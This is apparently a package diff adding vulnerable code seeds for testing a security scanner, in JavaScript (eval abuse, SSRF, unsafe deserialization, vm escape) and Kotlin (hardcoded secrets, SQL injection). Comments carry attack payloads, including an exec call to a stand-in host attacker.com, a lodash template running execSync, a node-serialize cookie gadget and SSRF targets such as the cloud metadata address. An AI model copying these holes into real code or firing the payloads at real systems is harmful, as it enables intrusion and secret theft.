thuban 0.3.3 → 0.4.0

package/dist/packages/crucible/seeds/js/seed-046.js

@@ -0,0 +1,33 @@
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: high
+// language: javascript
+// expected: eval() used in JSON reviver to execute serialized function strings
+
+function deserializeWithFunctions(json) {
+  return JSON.parse(json, (key, value) => {
+    if (typeof value === 'string' && value.startsWith('__fn__:')) {
+      // Executes arbitrary code stored in JSON as a function string
+      return eval('(' + value.slice(7) + ')');
+    }
+    return value;
+  });
+}
+
+function loadConfig(configJson) {
+  const config = deserializeWithFunctions(configJson);
+  return config;
+}
+
+// Elsewhere in codebase, configs are stored in DB and returned to this loader
+// Attacker-controlled DB entry:
+// { "onSuccess": "__fn__:function(){ require('child_process').exec('curl attacker.com') }" }
+
+const express = require('express');
+const router = express.Router();
+router.post('/config/load', (req, res) => {
+  const config = loadConfig(req.body.config);
+  res.json({ loaded: true, keys: Object.keys(config) });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-047.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: high
+// language: javascript
+// expected: eval() inside setTimeout and setInterval with user-controlled string
+
+const WebSocket = require('ws');
+
+const wss = new WebSocket.Server({ port: 8080 });
+
+wss.on('connection', (ws) => {
+  ws.on('message', (message) => {
+    const msg = JSON.parse(message.toString());
+
+    if (msg.type === 'schedule') {
+      // msg.code is user-supplied — eval runs arbitrary JS after delay
+      setTimeout(() => eval(msg.code), msg.delay || 1000);
+      ws.send(JSON.stringify({ scheduled: true }));
+    }
+
+    if (msg.type === 'poll') {
+      const intervalId = setInterval(() => eval(msg.pollCode), msg.interval || 5000);
+      setTimeout(() => clearInterval(intervalId), msg.duration || 60000);
+      ws.send(JSON.stringify({ polling: true }));
+    }
+  });
+});
+
+module.exports = wss;

package/dist/packages/crucible/seeds/js/seed-048.js

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: eval_abuse
+// severity: critical
+// language: javascript
+// expected: eval() used to parse/execute lodash-style template with user input
+
+const _ = require('lodash');
+const express = require('express');
+const router = express.Router();
+
+router.get('/render', (req, res) => {
+  const templateStr = req.query.template;
+  const vars = req.query.vars ? JSON.parse(req.query.vars) : {};
+
+  // lodash template compiles and runs JS inside <%= %> — user-controlled template is code execution
+  const compiled = _.template(templateStr);
+  const output = compiled(vars);
+  res.send(output);
+});
+
+router.post('/email-preview', (req, res) => {
+  const { template, data } = req.body;
+  // Attacker template: "<%= process.mainModule.require('child_process').execSync('id') %>"
+  const compiled = _.template(template);
+  const html = compiled(data);
+  res.type('text/html').send(html);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-049.js

@@ -0,0 +1,34 @@
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via http.get with unvalidated user-supplied URL
+
+const http = require('http');
+const https = require('https');
+const express = require('express');
+const router = express.Router();
+
+router.get('/proxy', (req, res) => {
+  const targetUrl = req.query.url;
+  // No validation — allows requests to internal services: http://169.254.169.254/
+  const client = targetUrl.startsWith('https') ? https : http;
+  client.get(targetUrl, (proxyRes) => {
+    res.writeHead(proxyRes.statusCode, proxyRes.headers);
+    proxyRes.pipe(res);
+  }).on('error', (err) => res.status(500).send(err.message));
+});
+
+router.post('/webhook/test', async (req, res) => {
+  const { webhookUrl } = req.body;
+  // User-supplied webhook URL — fetches internal endpoints
+  const response = await fetch(webhookUrl, {
+    method: 'POST',
+    body: JSON.stringify({ test: true }),
+    headers: { 'Content-Type': 'application/json' },
+  });
+  const data = await response.text();
+  res.json({ status: response.status, body: data });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-050.js

@@ -0,0 +1,34 @@
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via axios with user-controlled URL for avatar/image fetching
+
+const axios = require('axios');
+const express = require('express');
+const router = express.Router();
+
+router.post('/users/avatar', async (req, res) => {
+  const { avatarUrl } = req.body;
+  try {
+    // Attacker supplies: "http://10.0.0.1/admin" or "file:///etc/passwd"
+    const response = await axios.get(avatarUrl, {
+      responseType: 'arraybuffer',
+      maxRedirects: 5,
+      timeout: 10000,
+    });
+    res.set('Content-Type', response.headers['content-type']);
+    res.send(response.data);
+  } catch (err) {
+    res.status(400).json({ error: 'Failed to fetch avatar' });
+  }
+});
+
+router.get('/link-preview', async (req, res) => {
+  const url = req.query.url;
+  const { data } = await axios.get(url, { timeout: 5000 });
+  const title = data.match(/<title>(.*?)<\/title>/i)?.[1] || '';
+  res.json({ title, url });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-051.js

@@ -0,0 +1,30 @@
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via node-fetch with user-controlled URL used in import/metadata fetching
+
+const fetch = require('node-fetch');
+const express = require('express');
+const router = express.Router();
+
+router.post('/integrations/import', async (req, res) => {
+  const { dataUrl, format } = req.body;
+  // dataUrl from user — attacker can target internal metadata: http://169.254.169.254/latest/meta-data/
+  const response = await fetch(dataUrl);
+  if (!response.ok) return res.status(502).json({ error: 'Upstream error' });
+  const raw = await response.text();
+  res.json({ format, preview: raw.slice(0, 500) });
+});
+
+router.get('/oembed', async (req, res) => {
+  const endpoint = req.query.endpoint;
+  const url = req.query.url;
+  // endpoint is the oembed provider URL — user-controlled
+  const oembedUrl = `${endpoint}?url=${encodeURIComponent(url)}&format=json`;
+  const resp = await fetch(oembedUrl);
+  const data = await resp.json();
+  res.json(data);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-052.js

@@ -0,0 +1,30 @@
+// [CRUCIBLE-SEED]
+// category: ssrf
+// severity: high
+// language: javascript
+// expected: SSRF via got/superagent with redirect following and user-controlled URL
+
+const got = require('got');
+const express = require('express');
+const router = express.Router();
+
+router.post('/check-url', async (req, res) => {
+  const { url } = req.body;
+  try {
+    // followRedirect: true — attacker can redirect to internal services
+    const response = await got(url, {
+      followRedirect: true,
+      timeout: { request: 8000 },
+      throwHttpErrors: false,
+    });
+    res.json({
+      statusCode: response.statusCode,
+      headers: response.headers,
+      bodyPreview: response.body.slice(0, 200),
+    });
+  } catch (err) {
+    res.status(400).json({ error: err.message });
+  }
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-053.js

@@ -0,0 +1,26 @@
+// [CRUCIBLE-SEED]
+// category: deserialization
+// severity: critical
+// language: javascript
+// expected: unsafe deserialization via node-serialize with exec gadget
+
+const serialize = require('node-serialize');
+const express = require('express');
+const router = express.Router();
+
+router.post('/session/restore', (req, res) => {
+  const sessionData = req.cookies.session;
+  if (!sessionData) return res.status(401).json({ error: 'No session' });
+
+  try {
+    // node-serialize.unserialize executes IIFEs embedded in serialized objects
+    // Attacker cookie: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}
+    const session = serialize.unserialize(Buffer.from(sessionData, 'base64').toString());
+    req.session.user = session.user;
+    res.json({ restored: true, user: session.user });
+  } catch (err) {
+    res.status(400).json({ error: 'Invalid session' });
+  }
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-054.js

@@ -0,0 +1,35 @@
+// [CRUCIBLE-SEED]
+// category: deserialization
+// severity: high
+// language: javascript
+// expected: JSON.parse result used directly to call dynamic method — unsafe deserialization pattern
+
+const express = require('express');
+const router = express.Router();
+const actions = require('./actions');
+
+router.post('/task/execute', (req, res) => {
+  const taskJson = req.body.task;
+  // Parsed without schema validation
+  const task = JSON.parse(taskJson);
+
+  // Dynamically dispatching to a method by name from the deserialized object
+  const actionName = task.action;
+  const actionFn = actions[actionName];
+
+  if (!actionFn) return res.status(400).json({ error: 'Unknown action' });
+
+  // task.params passed directly — no sanitization
+  const result = actionFn(task.params);
+  res.json({ result });
+});
+
+router.post('/workflow/resume', (req, res) => {
+  const state = JSON.parse(req.body.workflowState);
+  // state.nextStep used to call internal module functions by name
+  const fn = require('./workflow')[state.nextStep];
+  fn(state.context, state.data);
+  res.json({ resumed: true });
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/js/seed-055.js

@@ -0,0 +1,33 @@
+// [CRUCIBLE-SEED]
+// category: deserialization
+// severity: high
+// language: javascript
+// expected: unsafe deserialization via vm.runInNewContext with parsed user data
+
+const vm = require('vm');
+const express = require('express');
+const router = express.Router();
+
+router.post('/sandbox/eval', (req, res) => {
+  const { code, state } = req.body;
+  const parsedState = JSON.parse(state);
+
+  // vm.runInNewContext is NOT a real sandbox — attacker can escape via prototype chain
+  // e.g. code: "this.constructor.constructor('return process')().exit()"
+  const sandbox = Object.assign({}, parsedState, { console, Math, JSON });
+  try {
+    const result = vm.runInNewContext(code, sandbox, { timeout: 2000 });
+    res.json({ result });
+  } catch (err) {
+    res.status(400).json({ error: err.message });
+  }
+});
+
+router.post('/template/execute', (req, res) => {
+  const { template, vars } = req.body;
+  const ctx = JSON.parse(vars);
+  const result = vm.runInNewContext('`' + template + '`', ctx);
+  res.send(result);
+});
+
+module.exports = router;

package/dist/packages/crucible/seeds/kotlin/seed-001.kt

@@ -0,0 +1,24 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: critical
+// language: kotlin
+// expected: Hardcoded Google Maps API key in source code
+
+package com.example.app
+
+import com.google.android.gms.maps.MapsInitializer
+
+object MapConfig {
+    const val GOOGLE_MAPS_API_KEY = "AIzaSyD4f8Kj2mN9pQrT1uVwXyZ3aBcDeF5gHiJ"
+    const val MAPS_SDK_VERSION = "18.1.0"
+
+    fun initialize() {
+        MapsInitializer.initialize(App.context)
+        println("Maps initialized with key: $GOOGLE_MAPS_API_KEY")
+    }
+
+    fun getStaticMapUrl(lat: Double, lng: Double): String {
+        return "https://maps.googleapis.com/maps/api/staticmap" +
+               "?center=$lat,$lng&zoom=13&size=600x300&key=$GOOGLE_MAPS_API_KEY"
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-002.kt

@@ -0,0 +1,27 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: critical
+// language: kotlin
+// expected: Hardcoded Firebase credentials and project config in source
+
+package com.example.app
+
+object FirebaseConfig {
+    const val API_KEY = "AIzaSyBxK7mP2nQrSuTvWxYz0aCbDcEfGhIjKlM"
+    const val AUTH_DOMAIN = "my-prod-app.firebaseapp.com"
+    const val DATABASE_URL = "https://my-prod-app-default-rtdb.firebaseio.com"
+    const val PROJECT_ID = "my-prod-app"
+    const val STORAGE_BUCKET = "my-prod-app.appspot.com"
+    const val MESSAGING_SENDER_ID = "123456789012"
+    const val APP_ID = "1:123456789012:android:abc123def456ghi789"
+
+    fun getConfig(): Map<String, String> {
+        return mapOf(
+            "apiKey" to API_KEY,
+            "authDomain" to AUTH_DOMAIN,
+            "databaseURL" to DATABASE_URL,
+            "projectId" to PROJECT_ID,
+            "storageBucket" to STORAGE_BUCKET
+        )
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-003.kt

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: critical
+// language: kotlin
+// expected: Hardcoded AWS access key and secret key in source
+
+package com.example.cloud
+
+import com.amazonaws.auth.BasicAWSCredentials
+
+class AwsClientFactory {
+    companion object {
+        private const val ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE1"
+        private const val SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
+        private const val REGION = "us-east-1"
+
+        fun createCredentials(): BasicAWSCredentials {
+            return BasicAWSCredentials(ACCESS_KEY, SECRET_KEY)
+        }
+
+        fun getRegion() = REGION
+    }
+
+    fun uploadToS3(bucket: String, key: String, data: ByteArray) {
+        val creds = createCredentials()
+        // S3 upload logic using hardcoded credentials
+        println("Uploading to s3://$bucket/$key with key ${ACCESS_KEY}")
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-004.kt

@@ -0,0 +1,24 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: critical
+// language: kotlin
+// expected: Hardcoded Stripe secret key and webhook secret
+
+package com.example.payments
+
+object StripeConfig {
+    // TODO: move to environment before shipping
+    const val SECRET_KEY = "sk_live_51HxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefgh"
+    const val PUBLISHABLE_KEY = "pk_live_51HxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0987654321zyxwvut"
+    const val WEBHOOK_SECRET = "whsec_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJ"
+
+    fun getHeaders(): Map<String, String> = mapOf(
+        "Authorization" to "Bearer $SECRET_KEY",
+        "Stripe-Version" to "2023-10-16"
+    )
+
+    fun validateWebhook(payload: String, signature: String): Boolean {
+        // Uses hardcoded webhook secret
+        return signature.contains(WEBHOOK_SECRET.substring(0, 10))
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-005.kt

@@ -0,0 +1,29 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: high
+// language: kotlin
+// expected: Hardcoded database password and connection string
+
+package com.example.data
+
+import java.sql.DriverManager
+
+class DatabaseConnection {
+    private val dbUrl = "jdbc:mysql://prod-db.internal.example.com:3306/appdb"
+    private val dbUser = "app_user"
+    private val dbPassword = "Sup3rS3cr3tP@ssw0rd!2024"
+
+    fun getConnection() = DriverManager.getConnection(dbUrl, dbUser, dbPassword)
+
+    fun healthCheck(): Boolean {
+        return try {
+            val conn = DriverManager.getConnection(dbUrl, dbUser, dbPassword)
+            val alive = !conn.isClosed
+            conn.close()
+            alive
+        } catch (e: Exception) {
+            println("DB connection failed: ${e.message}")
+            false
+        }
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-006.kt

@@ -0,0 +1,21 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: high
+// language: kotlin
+// expected: Hardcoded JWT secret and admin password
+
+package com.example.auth
+
+object AuthConstants {
+    const val JWT_SECRET = "mySuperSecretJWTKey_doNotShare_2024_production"
+    const val ADMIN_PASSWORD = "Admin@123456!"
+    const val API_TOKEN = "tok_prod_7f3k9m2p4r8s1t6u0v5w"
+    const val ENCRYPTION_KEY = "AES256Key-32CharactersLongSecret!!"
+
+    fun generateToken(userId: String): String {
+        // Signs JWT with hardcoded secret
+        return "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.$userId.${JWT_SECRET.hashCode()}"
+    }
+
+    fun isAdmin(password: String) = password == ADMIN_PASSWORD
+}

package/dist/packages/crucible/seeds/kotlin/seed-007.kt

@@ -0,0 +1,23 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: critical
+// language: kotlin
+// expected: Hardcoded SendGrid and Twilio API keys
+
+package com.example.notifications
+
+object NotificationConfig {
+    const val SENDGRID_API_KEY = "SG.xxxxxxxxxxxxxxxxxxxxxxxxxxxx.yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
+    const val TWILIO_ACCOUNT_SID = "ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
+    const val TWILIO_AUTH_TOKEN = "your_auth_token_here_32chars_long!!"
+    const val TWILIO_PHONE = "+15005550006"
+    const val FROM_EMAIL = "noreply@example.com"
+
+    fun sendSms(to: String, message: String) {
+        println("Sending via SID: $TWILIO_ACCOUNT_SID, Token: $TWILIO_AUTH_TOKEN")
+    }
+
+    fun sendEmail(to: String, subject: String, body: String) {
+        println("Sending via SendGrid key: $SENDGRID_API_KEY")
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-008.kt

@@ -0,0 +1,25 @@
+// [CRUCIBLE-SEED]
+// category: hardcoded_secret
+// severity: critical
+// language: kotlin
+// expected: Hardcoded OAuth client secret and refresh token
+
+package com.example.oauth
+
+class OAuthClient {
+    private val clientId = "1234567890-abcdefghijklmnopqrstuvwxyz.apps.googleusercontent.com"
+    private val clientSecret = "GOCSPX-abcdefghijklmnopqrstuvwxyz123456"
+    private val refreshToken = "1//0fxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-abcdefghijklmnopqrstuvwxyz"
+
+    fun refreshAccessToken(): String {
+        val body = "client_id=$clientId&client_secret=$clientSecret" +
+                   "&refresh_token=$refreshToken&grant_type=refresh_token"
+        // Makes HTTP POST with hardcoded credentials
+        return performTokenRequest(body)
+    }
+
+    private fun performTokenRequest(body: String): String {
+        println("Refreshing token with secret: $clientSecret")
+        return "mock_access_token"
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-009.kt

@@ -0,0 +1,21 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: kotlin
+// expected: Raw SQL query with string interpolation, no parameterization
+
+package com.example.data
+
+import android.database.sqlite.SQLiteDatabase
+
+class UserRepository(private val db: SQLiteDatabase) {
+    fun findUserByUsername(username: String): android.database.Cursor {
+        val query = "SELECT * FROM users WHERE username = '$username'"
+        return db.rawQuery(query, null)
+    }
+
+    fun getUserPosts(userId: String): android.database.Cursor {
+        val sql = "SELECT title, body FROM posts WHERE user_id = $userId ORDER BY created_at DESC"
+        return db.rawQuery(sql, null)
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-010.kt

@@ -0,0 +1,28 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: kotlin
+// expected: Room database raw query with user-controlled string concatenation
+
+package com.example.db
+
+import androidx.room.RoomDatabase
+import androidx.sqlite.db.SupportSQLiteDatabase
+
+class ProductDao(private val db: SupportSQLiteDatabase) {
+    fun searchProducts(searchTerm: String, category: String): android.database.Cursor {
+        val query = "SELECT * FROM products WHERE name LIKE '%$searchTerm%' AND category = '$category'"
+        return db.query(query, null)
+    }
+
+    fun deleteByFilter(field: String, value: String): Int {
+        val sql = "DELETE FROM products WHERE $field = '$value'"
+        db.execSQL(sql)
+        return 1
+    }
+
+    fun updatePrice(productId: String, newPrice: String) {
+        val sql = "UPDATE products SET price = $newPrice WHERE id = '$productId'"
+        db.execSQL(sql)
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-011.kt

@@ -0,0 +1,22 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: kotlin
+// expected: SQLite rawQuery with ORDER BY clause built from user input
+
+package com.example.db
+
+import android.database.sqlite.SQLiteDatabase
+
+class OrderRepository(private val db: SQLiteDatabase) {
+    fun getOrdersSorted(sortColumn: String, sortDir: String): android.database.Cursor {
+        // User-controlled ORDER BY — cannot be parameterized naively
+        val sql = "SELECT * FROM orders ORDER BY $sortColumn $sortDir"
+        return db.rawQuery(sql, null)
+    }
+
+    fun filterOrders(status: String, fromDate: String): android.database.Cursor {
+        val sql = "SELECT * FROM orders WHERE status = '$status' AND created_at >= '$fromDate'"
+        return db.rawQuery(sql, null)
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-012.kt

@@ -0,0 +1,25 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: kotlin
+// expected: JDBC template with string-concatenated SQL in Android backend
+
+package com.example.backend
+
+import java.sql.Connection
+import java.sql.DriverManager
+
+class ReportService {
+    private val conn: Connection = DriverManager.getConnection("jdbc:sqlite:app.db")
+
+    fun getReportData(userId: String, reportType: String): List<Map<String, Any>> {
+        val sql = "SELECT * FROM reports WHERE user_id = '$userId' AND type = '$reportType'"
+        val stmt = conn.createStatement()
+        val rs = stmt.executeQuery(sql)
+        val results = mutableListOf<Map<String, Any>>()
+        while (rs.next()) {
+            results.add(mapOf("id" to rs.getString("id"), "data" to rs.getString("data")))
+        }
+        return results
+    }
+}

package/dist/packages/crucible/seeds/kotlin/seed-013.kt

@@ -0,0 +1,30 @@
+// [CRUCIBLE-SEED]
+// category: sql_injection
+// severity: critical
+// language: kotlin
+// expected: ContentProvider query with raw selection argument built from user input
+
+package com.example.provider
+
+import android.content.ContentProvider
+import android.content.ContentValues
+import android.database.Cursor
+import android.net.Uri
+
+class DataProvider : ContentProvider() {
+    override fun query(
+        uri: Uri, projection: Array<String>?, selection: String?,
+        selectionArgs: Array<String>?, sortOrder: String?
+    ): Cursor? {
+        val userId = uri.getQueryParameter("user_id")
+        val rawSelection = "user_id = '$userId' AND active = 1"
+        return database?.rawQuery("SELECT * FROM items WHERE $rawSelection", null)
+    }
+
+    private val database get() = context?.openOrCreateDatabase("app.db", 0, null)
+    override fun onCreate() = true
+    override fun getType(uri: Uri) = null
+    override fun insert(uri: Uri, values: ContentValues?) = null
+    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?) = 0
+    override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?) = 0
+}